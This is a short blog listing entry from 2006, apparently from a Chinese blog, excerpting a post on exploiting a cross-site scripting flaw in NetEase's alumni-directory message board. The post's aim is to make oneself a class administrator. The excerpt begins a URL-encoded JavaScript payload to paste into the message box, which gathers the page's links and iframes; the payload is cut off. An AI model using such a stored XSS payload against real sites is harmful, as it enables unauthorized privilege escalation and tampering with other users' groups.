随笔分类 -  dhtml

 
也谈一个跨站的利用
摘要：1.方法：网易同学录留言功能存在跨站，这里演示一个利用它把自己加为班级管理员的方法。在留言框里填写：+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22ifram... 阅读全文
posted @ 2006-11-22 13:14 wscript 阅读(473) 评论(0) 推荐(0)